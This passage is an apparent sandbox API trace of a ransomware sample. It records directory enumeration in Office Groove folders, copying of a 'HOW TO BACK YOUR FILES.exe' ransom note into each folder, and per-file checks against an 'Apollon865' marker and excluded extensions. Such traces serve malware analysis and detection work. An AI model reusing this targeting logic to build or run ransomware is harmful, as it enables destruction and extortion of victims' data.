	[0070.764] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 1
	[0070.764] lstrcmpiW (lpString1="Welcome Tool", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.764] lstrcmpiW (lpString1="Welcome Tool", lpString2="Apollon865.txt.exe") returned 1
	[0070.764] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="Welcome Tool" | out: lpString1="Welcome Tool") returned="Welcome Tool"
	[0070.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fee8
	[0070.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5a0c58
	[0070.764] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fef0 | out: ListHead=0x5b76b0, ListEntry=0x59fef0) returned 0x59fed0
	[0070.764] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 0
	[0070.764] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0070.764] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fef0
	[0070.764] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool"
	[0070.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0c58 | out: hHeap=0x580000) returned 1
	[0070.764] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fee8 | out: hHeap=0x580000) returned 1
	[0070.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool") returned 82
	[0070.764] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool"
	[0070.764] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.764] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.774] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x424150f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x424150f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.774] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.774] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.775] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="IconImages.jpg" | out: lpString1="IconImages.jpg") returned="IconImages.jpg"
	[0070.775] lstrlenW (lpString="IconImages.jpg") returned 14
	[0070.775] lstrlenW (lpString="Apollon865") returned 10
	[0070.775] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0070.775] lstrlenW (lpString=".dll") returned 4
	[0070.775] lstrcmpiW (lpString1="IconImages.jpg", lpString2=".dll") returned 1
	[0070.775] lstrlenW (lpString=".lnk") returned 4
	[0070.775] lstrcmpiW (lpString1="IconImages.jpg", lpString2=".lnk") returned 1
	[0070.775] lstrlenW (lpString=".ini") returned 4
	[0070.775] lstrcmpiW (lpString1="IconImages.jpg", lpString2=".ini") returned 1
	[0070.775] lstrlenW (lpString=".sys") returned 4
	[0070.775] lstrcmpiW (lpString1="IconImages.jpg", lpString2=".sys") returned 1
	[0070.775] lstrlenW (lpString="IconImages.jpg") returned 14
	[0070.775] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="IconImagesMask.bmp" | out: lpString1="IconImagesMask.bmp") returned="IconImagesMask.bmp"
	[0070.775] lstrlenW (lpString="IconImagesMask.bmp") returned 18
	[0070.775] lstrlenW (lpString="Apollon865") returned 10
	[0070.775] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0070.775] lstrlenW (lpString=".dll") returned 4
	[0070.775] lstrcmpiW (lpString1="IconImagesMask.bmp", lpString2=".dll") returned 1
	[0070.775] lstrlenW (lpString=".lnk") returned 4
	[0070.775] lstrcmpiW (lpString1="IconImagesMask.bmp", lpString2=".lnk") returned 1
	[0070.775] lstrlenW (lpString=".ini") returned 4
	[0070.775] lstrcmpiW (lpString1="IconImagesMask.bmp", lpString2=".ini") returned 1
	[0070.775] lstrlenW (lpString=".sys") returned 4
	[0070.775] lstrcmpiW (lpString1="IconImagesMask.bmp", lpString2=".sys") returned 1
	[0070.775] lstrlenW (lpString="IconImagesMask.bmp") returned 18
	[0070.775] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset"
	[0070.776] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1518 | out: hHeap=0x580000) returned 1
	[0070.776] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fec8 | out: hHeap=0x580000) returned 1
	[0070.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset") returned 90
	[0070.776] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset"
	[0070.776] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.776] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0070.783] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0070.783] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x4243b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4243b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0070.783] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0070.783] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0070.784] lstrcpyW (in: lpString1=0x2d3e606, lpString2="BriefcaseIcon.jpg" | out: lpString1="BriefcaseIcon.jpg") returned="BriefcaseIcon.jpg"
	[0070.784] lstrlenW (lpString="BriefcaseIcon.jpg") returned 17
	[0070.784] lstrlenW (lpString="Apollon865") returned 10
	[0070.784] lstrcmpiW (lpString1="seIcon.jpg", lpString2="Apollon865") returned 1
	[0070.784] lstrlenW (lpString=".dll") returned 4
	[0070.784] lstrcmpiW (lpString1="BriefcaseIcon.jpg", lpString2=".dll") returned 1
	[0070.785] lstrlenW (lpString=".lnk") returned 4
	[0070.785] lstrcmpiW (lpString1="BriefcaseIcon.jpg", lpString2=".lnk") returned 1
	[0070.785] lstrlenW (lpString=".ini") returned 4
	[0070.785] lstrcmpiW (lpString1="BriefcaseIcon.jpg", lpString2=".ini") returned 1
	[0070.785] lstrlenW (lpString=".sys") returned 4
	[0070.785] lstrcmpiW (lpString1="BriefcaseIcon.jpg", lpString2=".sys") returned 1
	[0070.785] lstrlenW (lpString="BriefcaseIcon.jpg") returned 17
	[0070.785] lstrcpyW (in: lpString1=0x2d3e606, lpString2="BriefcaseIconMask.bmp" | out: lpString1="BriefcaseIconMask.bmp") returned="BriefcaseIconMask.bmp"
	[0070.785] lstrlenW (lpString="BriefcaseIconMask.bmp") returned 21
	[0070.785] lstrlenW (lpString="Apollon865") returned 10
	[0070.785] lstrcmpiW (lpString1="onMask.bmp", lpString2="Apollon865") returned 1
	[0070.785] lstrlenW (lpString=".dll") returned 4
	[0070.785] lstrcmpiW (lpString1="BriefcaseIconMask.bmp", lpString2=".dll") returned 1
	[0070.785] lstrlenW (lpString=".lnk") returned 4
	[0070.785] lstrcmpiW (lpString1="BriefcaseIconMask.bmp", lpString2=".lnk") returned 1
	[0070.785] lstrlenW (lpString=".ini") returned 4
	[0070.785] lstrcmpiW (lpString1="BriefcaseIconMask.bmp", lpString2=".ini") returned 1
	[0070.785] lstrlenW (lpString=".sys") returned 4
	[0070.785] lstrcmpiW (lpString1="BriefcaseIconMask.bmp", lpString2=".sys") returned 1
	[0070.785] lstrlenW (lpString="BriefcaseIconMask.bmp") returned 21
	[0070.785] lstrcpyW (in: lpString1=0x2d3e606, lpString2="CircleIcons.jpg" | out: lpString1="CircleIcons.jpg") returned="CircleIcons.jpg"
	[0070.785] lstrlenW (lpString="CircleIcons.jpg") returned 15
	[0070.785] lstrlenW (lpString="Apollon865") returned 10
	[0070.785] lstrcmpiW (lpString1="eIcons.jpg", lpString2="Apollon865") returned 1
	[0070.785] lstrlenW (lpString=".dll") returned 4
	[0070.785] lstrcmpiW (lpString1="CircleIcons.jpg", lpString2=".dll") returned 1
	[0070.785] lstrlenW (lpString=".lnk") returned 4
	[0070.785] lstrcmpiW (lpString1="CircleIcons.jpg", lpString2=".lnk") returned 1
	[0070.785] lstrlenW (lpString=".ini") returned 4
	[0070.785] lstrcmpiW (lpString1="CircleIcons.jpg", lpString2=".ini") returned 1
	[0070.785] lstrlenW (lpString=".sys") returned 4
	[0070.786] lstrcmpiW (lpString1="CircleIcons.jpg", lpString2=".sys") returned 1
	[0070.786] lstrlenW (lpString="CircleIcons.jpg") returned 15
	[0070.786] lstrcpyW (in: lpString1=0x2d3e606, lpString2="CircleIconsMask.bmp" | out: lpString1="CircleIconsMask.bmp") returned="CircleIconsMask.bmp"
	[0070.786] lstrlenW (lpString="CircleIconsMask.bmp") returned 19
	[0070.786] lstrlenW (lpString="Apollon865") returned 10
	[0070.786] lstrcmpiW (lpString1="nsMask.bmp", lpString2="Apollon865") returned 1
	[0070.786] lstrlenW (lpString=".dll") returned 4
	[0070.786] lstrcmpiW (lpString1="CircleIconsMask.bmp", lpString2=".dll") returned 1
	[0070.786] lstrlenW (lpString=".lnk") returned 4
	[0070.786] lstrcmpiW (lpString1="CircleIconsMask.bmp", lpString2=".lnk") returned 1
	[0070.786] lstrlenW (lpString=".ini") returned 4
	[0070.786] lstrcmpiW (lpString1="CircleIconsMask.bmp", lpString2=".ini") returned 1
	[0070.786] lstrlenW (lpString=".sys") returned 4
	[0070.786] lstrcmpiW (lpString1="CircleIconsMask.bmp", lpString2=".sys") returned 1
	[0070.786] lstrlenW (lpString="CircleIconsMask.bmp") returned 19
	[0070.786] lstrcpyW (in: lpString1=0x2d3e606, lpString2="MeetingIcon.jpg" | out: lpString1="MeetingIcon.jpg") returned="MeetingIcon.jpg"
	[0070.786] lstrlenW (lpString="MeetingIcon.jpg") returned 15
	[0070.786] lstrlenW (lpString="Apollon865") returned 10
	[0070.786] lstrcmpiW (lpString1="ngIcon.jpg", lpString2="Apollon865") returned 1
	[0070.786] lstrlenW (lpString=".dll") returned 4
	[0070.786] lstrcmpiW (lpString1="MeetingIcon.jpg", lpString2=".dll") returned 1
	[0070.786] lstrlenW (lpString=".lnk") returned 4
	[0070.786] lstrcmpiW (lpString1="MeetingIcon.jpg", lpString2=".lnk") returned 1
	[0070.786] lstrlenW (lpString=".ini") returned 4
	[0070.786] lstrcmpiW (lpString1="MeetingIcon.jpg", lpString2=".ini") returned 1
	[0070.786] lstrlenW (lpString=".sys") returned 4
	[0070.786] lstrcmpiW (lpString1="MeetingIcon.jpg", lpString2=".sys") returned 1
	[0070.786] lstrlenW (lpString="MeetingIcon.jpg") returned 15
	[0070.786] lstrcpyW (in: lpString1=0x2d3e606, lpString2="MeetingIconMask.bmp" | out: lpString1="MeetingIconMask.bmp") returned="MeetingIconMask.bmp"
	[0070.787] lstrlenW (lpString="MeetingIconMask.bmp") returned 19
	[0070.787] lstrlenW (lpString="Apollon865") returned 10
	[0070.787] lstrcmpiW (lpString1="onMask.bmp", lpString2="Apollon865") returned 1
	[0070.787] lstrlenW (lpString=".dll") returned 4
	[0070.787] lstrcmpiW (lpString1="MeetingIconMask.bmp", lpString2=".dll") returned 1
	[0070.787] lstrlenW (lpString=".lnk") returned 4
	[0070.787] lstrcmpiW (lpString1="MeetingIconMask.bmp", lpString2=".lnk") returned 1
	[0070.787] lstrlenW (lpString=".ini") returned 4
	[0070.787] lstrcmpiW (lpString1="MeetingIconMask.bmp", lpString2=".ini") returned 1
	[0070.787] lstrlenW (lpString=".sys") returned 4
	[0070.787] lstrcmpiW (lpString1="MeetingIconMask.bmp", lpString2=".sys") returned 1
	[0070.787] lstrlenW (lpString="MeetingIconMask.bmp") returned 19
	[0070.787] lstrcpyW (in: lpString1=0x2d3e606, lpString2="ProjectStatusIcons.jpg" | out: lpString1="ProjectStatusIcons.jpg") returned="ProjectStatusIcons.jpg"
	[0070.787] lstrlenW (lpString="ProjectStatusIcons.jpg") returned 22
	[0070.787] lstrlenW (lpString="Apollon865") returned 10
	[0070.787] lstrcmpiW (lpString1="sIcons.jpg", lpString2="Apollon865") returned 1
	[0070.787] lstrlenW (lpString=".dll") returned 4
	[0070.787] lstrcmpiW (lpString1="ProjectStatusIcons.jpg", lpString2=".dll") returned 1
	[0070.787] lstrlenW (lpString=".lnk") returned 4
	[0070.787] lstrcmpiW (lpString1="ProjectStatusIcons.jpg", lpString2=".lnk") returned 1
	[0070.787] lstrlenW (lpString=".ini") returned 4
	[0070.787] lstrcmpiW (lpString1="ProjectStatusIcons.jpg", lpString2=".ini") returned 1
	[0070.787] lstrlenW (lpString=".sys") returned 4
	[0070.787] lstrcmpiW (lpString1="ProjectStatusIcons.jpg", lpString2=".sys") returned 1
	[0070.787] lstrlenW (lpString="ProjectStatusIcons.jpg") returned 22
	[0070.787] lstrcpyW (in: lpString1=0x2d3e606, lpString2="ProjectStatusIconsMask.bmp" | out: lpString1="ProjectStatusIconsMask.bmp") returned="ProjectStatusIconsMask.bmp"
	[0070.787] lstrlenW (lpString="ProjectStatusIconsMask.bmp") returned 26
	[0070.787] lstrlenW (lpString="Apollon865") returned 10
	[0070.787] lstrcmpiW (lpString1="nsMask.bmp", lpString2="Apollon865") returned 1
	[0070.787] lstrlenW (lpString=".dll") returned 4
	[0070.787] lstrcmpiW (lpString1="ProjectStatusIconsMask.bmp", lpString2=".dll") returned 1
	[0070.788] lstrlenW (lpString=".lnk") returned 4
	[0070.788] lstrcmpiW (lpString1="ProjectStatusIconsMask.bmp", lpString2=".lnk") returned 1
	[0070.788] lstrlenW (lpString=".ini") returned 4
	[0070.788] lstrcmpiW (lpString1="ProjectStatusIconsMask.bmp", lpString2=".ini") returned 1
	[0070.788] lstrlenW (lpString=".sys") returned 4
	[0070.788] lstrcmpiW (lpString1="ProjectStatusIconsMask.bmp", lpString2=".sys") returned 1
	[0070.788] lstrlenW (lpString="ProjectStatusIconsMask.bmp") returned 26
	[0070.788] lstrcpyW (in: lpString1=0x2d3e606, lpString2="ProjectTaskIcon.jpg" | out: lpString1="ProjectTaskIcon.jpg") returned="ProjectTaskIcon.jpg"
	[0070.788] lstrlenW (lpString="ProjectTaskIcon.jpg") returned 19
	[0070.788] lstrlenW (lpString="Apollon865") returned 10
	[0070.788] lstrcmpiW (lpString1="skIcon.jpg", lpString2="Apollon865") returned 1
	[0070.788] lstrlenW (lpString=".dll") returned 4
	[0070.788] lstrcmpiW (lpString1="ProjectTaskIcon.jpg", lpString2=".dll") returned 1
	[0070.788] lstrlenW (lpString=".lnk") returned 4
	[0070.788] lstrcmpiW (lpString1="ProjectTaskIcon.jpg", lpString2=".lnk") returned 1
	[0070.788] lstrlenW (lpString=".ini") returned 4
	[0070.788] lstrcmpiW (lpString1="ProjectTaskIcon.jpg", lpString2=".ini") returned 1
	[0070.788] lstrlenW (lpString=".sys") returned 4
	[0070.788] lstrcmpiW (lpString1="ProjectTaskIcon.jpg", lpString2=".sys") returned 1
	[0070.788] lstrlenW (lpString="ProjectTaskIcon.jpg") returned 19
	[0070.788] lstrcpyW (in: lpString1=0x2d3e606, lpString2="ProjectTaskIconMask.bmp" | out: lpString1="ProjectTaskIconMask.bmp") returned="ProjectTaskIconMask.bmp"
	[0070.788] lstrlenW (lpString="ProjectTaskIconMask.bmp") returned 23
	[0070.788] lstrlenW (lpString="Apollon865") returned 10
	[0070.788] lstrcmpiW (lpString1="onMask.bmp", lpString2="Apollon865") returned 1
	[0070.788] lstrlenW (lpString=".dll") returned 4
	[0070.788] lstrcmpiW (lpString1="ProjectTaskIconMask.bmp", lpString2=".dll") returned 1
	[0070.788] lstrlenW (lpString=".lnk") returned 4
	[0070.788] lstrcmpiW (lpString1="ProjectTaskIconMask.bmp", lpString2=".lnk") returned 1
	[0070.788] lstrlenW (lpString=".ini") returned 4
	[0070.788] lstrcmpiW (lpString1="ProjectTaskIconMask.bmp", lpString2=".ini") returned 1
	[0070.788] lstrlenW (lpString=".sys") returned 4
	[0070.789] lstrcmpiW (lpString1="ProjectTaskIconMask.bmp", lpString2=".sys") returned 1
	[0070.789] lstrlenW (lpString="ProjectTaskIconMask.bmp") returned 23
	[0070.789] lstrcpyW (in: lpString1=0x2d3e606, lpString2="ProjectTool" | out: lpString1="ProjectTool") returned="ProjectTool"
	[0070.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fec8
	[0070.789] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xce) returned 0x5a5368
	[0070.789] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fed0 | out: ListHead=0x5b76b0, ListEntry=0x59fed0) returned 0x59feb0
	[0070.789] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4f0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProjectToolsetIconImages.jpg", cAlternateFileName="PROJEC~3.JPG")) returned 1
	[0070.789] lstrcmpiW (lpString1="ProjectToolsetIconImages.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.789] lstrcmpiW (lpString1="ProjectToolsetIconImages.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0070.789] lstrcpyW (in: lpString1=0x2d3e606, lpString2="ProjectToolsetIconImages.jpg" | out: lpString1="ProjectToolsetIconImages.jpg") returned="ProjectToolsetIconImages.jpg"
	[0070.789] lstrlenW (lpString="ProjectToolsetIconImages.jpg") returned 28
	[0070.789] lstrlenW (lpString="Apollon865") returned 10
	[0070.789] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0070.789] lstrlenW (lpString=".dll") returned 4
	[0070.789] lstrcmpiW (lpString1="ProjectToolsetIconImages.jpg", lpString2=".dll") returned 1
	[0070.789] lstrlenW (lpString=".lnk") returned 4
	[0070.789] lstrcmpiW (lpString1="ProjectToolsetIconImages.jpg", lpString2=".lnk") returned 1
	[0070.789] lstrlenW (lpString=".ini") returned 4
	[0070.789] lstrcmpiW (lpString1="ProjectToolsetIconImages.jpg", lpString2=".ini") returned 1
	[0070.789] lstrlenW (lpString=".sys") returned 4
	[0070.789] lstrcmpiW (lpString1="ProjectToolsetIconImages.jpg", lpString2=".sys") returned 1
	[0070.789] lstrlenW (lpString="ProjectToolsetIconImages.jpg") returned 28
	[0070.789] lstrcpyW (in: lpString1=0x2d3e606, lpString2="ProjectToolsetIconImagesMask.bmp" | out: lpString1="ProjectToolsetIconImagesMask.bmp") returned="ProjectToolsetIconImagesMask.bmp"
	[0070.789] lstrlenW (lpString="ProjectToolsetIconImagesMask.bmp") returned 32
	[0070.789] lstrlenW (lpString="Apollon865") returned 10
	[0070.789] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0070.789] lstrlenW (lpString=".dll") returned 4
	[0070.789] lstrcmpiW (lpString1="ProjectToolsetIconImagesMask.bmp", lpString2=".dll") returned 1
	[0070.789] lstrlenW (lpString=".lnk") returned 4
	[0070.790] lstrcmpiW (lpString1="ProjectToolsetIconImagesMask.bmp", lpString2=".lnk") returned 1
	[0070.790] lstrlenW (lpString=".ini") returned 4
	[0070.790] lstrcmpiW (lpString1="ProjectToolsetIconImagesMask.bmp", lpString2=".ini") returned 1
	[0070.790] lstrlenW (lpString=".sys") returned 4
	[0070.790] lstrcmpiW (lpString1="ProjectToolsetIconImagesMask.bmp", lpString2=".sys") returned 1
	[0070.790] lstrlenW (lpString="ProjectToolsetIconImagesMask.bmp") returned 32
	[0070.790] lstrcpyW (in: lpString1=0x2d3e606, lpString2="SplashImage.jpg" | out: lpString1="SplashImage.jpg") returned="SplashImage.jpg"
	[0070.790] lstrlenW (lpString="SplashImage.jpg") returned 15
	[0070.790] lstrlenW (lpString="Apollon865") returned 10
	[0070.790] lstrcmpiW (lpString1="hImage.jpg", lpString2="Apollon865") returned 1
	[0070.790] lstrlenW (lpString=".dll") returned 4
	[0070.790] lstrcmpiW (lpString1="SplashImage.jpg", lpString2=".dll") returned 1
	[0070.790] lstrlenW (lpString=".lnk") returned 4
	[0070.790] lstrcmpiW (lpString1="SplashImage.jpg", lpString2=".lnk") returned 1
	[0070.790] lstrlenW (lpString=".ini") returned 4
	[0070.790] lstrcmpiW (lpString1="SplashImage.jpg", lpString2=".ini") returned 1
	[0070.790] lstrlenW (lpString=".sys") returned 4
	[0070.790] lstrcmpiW (lpString1="SplashImage.jpg", lpString2=".sys") returned 1
	[0070.790] lstrlenW (lpString="SplashImage.jpg") returned 15
	[0070.790] lstrcpyW (in: lpString1=0x2d3e606, lpString2="SplashImageMask.bmp" | out: lpString1="SplashImageMask.bmp") returned="SplashImageMask.bmp"
	[0070.790] lstrlenW (lpString="SplashImageMask.bmp") returned 19
	[0070.790] lstrlenW (lpString="Apollon865") returned 10
	[0070.790] lstrcmpiW (lpString1="geMask.bmp", lpString2="Apollon865") returned 1
	[0070.790] lstrlenW (lpString=".dll") returned 4
	[0070.790] lstrcmpiW (lpString1="SplashImageMask.bmp", lpString2=".dll") returned 1
	[0070.790] lstrlenW (lpString=".lnk") returned 4
	[0070.790] lstrcmpiW (lpString1="SplashImageMask.bmp", lpString2=".lnk") returned 1
	[0070.790] lstrlenW (lpString=".ini") returned 4
	[0070.790] lstrcmpiW (lpString1="SplashImageMask.bmp", lpString2=".ini") returned 1
	[0070.790] lstrlenW (lpString=".sys") returned 4
	[0070.790] lstrcmpiW (lpString1="SplashImageMask.bmp", lpString2=".sys") returned 1
	[0070.790] lstrlenW (lpString="SplashImageMask.bmp") returned 19
	[0070.791] lstrcpyW (in: lpString1=0x2d3e606, lpString2="TABMASK.BMP" | out: lpString1="TABMASK.BMP") returned="TABMASK.BMP"
	[0070.791] lstrlenW (lpString="TABMASK.BMP") returned 11
	[0070.791] lstrlenW (lpString="Apollon865") returned 10
	[0070.791] lstrcmpiW (lpString1="ABMASK.BMP", lpString2="Apollon865") returned -1
	[0070.791] lstrlenW (lpString=".dll") returned 4
	[0070.791] lstrcmpiW (lpString1="TABMASK.BMP", lpString2=".dll") returned 1
	[0070.791] lstrlenW (lpString=".lnk") returned 4
	[0070.791] lstrcmpiW (lpString1="TABMASK.BMP", lpString2=".lnk") returned 1
	[0070.791] lstrlenW (lpString=".ini") returned 4
	[0070.791] lstrcmpiW (lpString1="TABMASK.BMP", lpString2=".ini") returned 1
	[0070.791] lstrlenW (lpString=".sys") returned 4
	[0070.791] lstrcmpiW (lpString1="TABMASK.BMP", lpString2=".sys") returned 1
	[0070.791] lstrlenW (lpString="TABMASK.BMP") returned 11
	[0070.791] lstrcpyW (in: lpString1=0x2d3e606, lpString2="TABOFF.JPG" | out: lpString1="TABOFF.JPG") returned="TABOFF.JPG"
	[0070.791] lstrlenW (lpString="TABOFF.JPG") returned 10
	[0070.791] lstrlenW (lpString="Apollon865") returned 10
	[0070.791] lstrlenW (lpString=".dll") returned 4
	[0070.791] lstrcmpiW (lpString1="TABOFF.JPG", lpString2=".dll") returned 1
	[0070.791] lstrlenW (lpString=".lnk") returned 4
	[0070.791] lstrcmpiW (lpString1="TABOFF.JPG", lpString2=".lnk") returned 1
	[0070.791] lstrlenW (lpString=".ini") returned 4
	[0070.791] lstrcmpiW (lpString1="TABOFF.JPG", lpString2=".ini") returned 1
	[0070.791] lstrlenW (lpString=".sys") returned 4
	[0070.791] lstrcmpiW (lpString1="TABOFF.JPG", lpString2=".sys") returned 1
	[0070.791] lstrlenW (lpString="TABOFF.JPG") returned 10
	[0070.791] lstrcpyW (in: lpString1=0x2d3e606, lpString2="TABON.JPG" | out: lpString1="TABON.JPG") returned="TABON.JPG"
	[0070.791] lstrlenW (lpString="TABON.JPG") returned 9
	[0070.791] lstrlenW (lpString="Apollon865") returned 10
	[0070.791] lstrlenW (lpString=".dll") returned 4
	[0070.791] lstrcmpiW (lpString1="TABON.JPG", lpString2=".dll") returned 1
	[0070.792] lstrlenW (lpString=".lnk") returned 4
	[0070.792] lstrcmpiW (lpString1="TABON.JPG", lpString2=".lnk") returned 1
	[0070.792] lstrlenW (lpString=".ini") returned 4
	[0070.792] lstrcmpiW (lpString1="TABON.JPG", lpString2=".ini") returned 1
	[0070.792] lstrlenW (lpString=".sys") returned 4
	[0070.792] lstrcmpiW (lpString1="TABON.JPG", lpString2=".sys") returned 1
	[0070.792] lstrlenW (lpString="TABON.JPG") returned 9
	[0070.792] lstrcpyW (in: lpString1=0x2d3e606, lpString2="WHITEBOX.JPG" | out: lpString1="WHITEBOX.JPG") returned="WHITEBOX.JPG"
	[0070.792] lstrlenW (lpString="WHITEBOX.JPG") returned 12
	[0070.792] lstrlenW (lpString="Apollon865") returned 10
